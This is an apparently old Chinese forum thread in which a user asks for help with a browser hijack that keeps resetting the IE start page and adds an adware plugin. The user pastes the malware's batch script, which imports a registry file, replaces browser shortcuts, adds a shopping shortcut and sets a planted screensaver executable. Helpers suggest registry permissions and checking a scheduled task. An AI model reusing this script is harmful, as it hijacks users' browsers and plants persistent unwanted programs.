程序名称：C:\WINDOWS\SYSTEM32\REG.EXE
修改 HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\START PAGE
  由 about:blank 修改为 http://www.net.cn.jiemei.xpdao.cn/blankblankblankblankblankblankblankblankblankblank.htm
用了瑞星没发现病毒. 360发现恶意插件ab365live清理不掉.任务管理器280+
指点哈``!!!!!

用户系统信息：Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )

急急急

反病毒区求助，上传sreng日志。

这应该是一个历史记录，楼主的主页有没有被修改？
如果总是这样提示，可以给该键值设个权限
然后上传sreng日志

程序名称：C:\WINDOWS\SYSTEM32\REG.EXE
修改 HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\START PAGE
  由 about:blank 修改为 http://www.net.cn.jiemei.xpdao.cn/blankblankblankblankblankblankblankblankblankblank.htm
    前几天发过了.我自己简单处理以为没问题今天又是这情况.360发现恶意软件ab365live

用户系统信息：Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )

@echo off
start zbhtzser.htm
regedit /s zbhtsert.reg
start zbhteiala.vbs
copy "Internet Explorer.lnk" "%userprofile%\桌面\Internet  Explorer.lnk" /y
copy "Internet Explorer.lnk" "%userprofile%\「开始」菜单\Internet  Explorer.lnk" /y
copy "Internet Explorer.lnk" "%userprofile%\「开始」菜单\程序\Internet  Explorer.lnk" /y
copy "Internet Explorer.lnk" "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\启动 Internet  Explorer 浏览器.lnk" /y
copy "Internet Explorer.lnk" "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\Internet  Explorer.lnk" /y
copy "baobao.lnk" "%userprofile%\桌面\淘宝购物.lnk" /y
del "%userprofile%\桌面\IEXPLORE.lnk"
del "%userprofile%\桌面\IEXPLOREr.lnk"
del "%userprofile%\桌面\Internet Explorer.lnk"
del "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\Internet Explorer.lnk"
del "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\启动 Internet Explorer 浏览器.lnk"
@reg add "HKEY_CURRENT_USER\Control Panel\desktop" /v "SCRNSAVE.EXE" /t reg_sz /d C:\WINDOWS\system32\ucze.scr /f
@reg add "HKEY_CURRENT_USER\Control Panel\desktop" /v "ScreenSaveActive" /t reg_sz /d 1 /f
@reg add "HKEY_CURRENT_USER\Control Panel\desktop" /v "ScreenSaveTimeOut" /t reg_sz /d 60 /f
exit  这是什么???

去看看这个计划任务是什么。
==================================
计划任务
[已禁用] $~$Sys0$.job
        C:\WINDOWS\System32\rundll32.exe

    在哪里看???

就这东西一点就遭!!

控制面板里找你的计划任务，不是找那C:\WINDOWS\System32\rundll32.exe 文件。

那只是那计划任务要调用系统重要程序C:\WINDOWS\System32\rundll32.exe 工作而已

其工作起来的东西很可能就是启动cmd和reg的两程序的。

不知道什么叫计划任务，就百度嘛，立即可知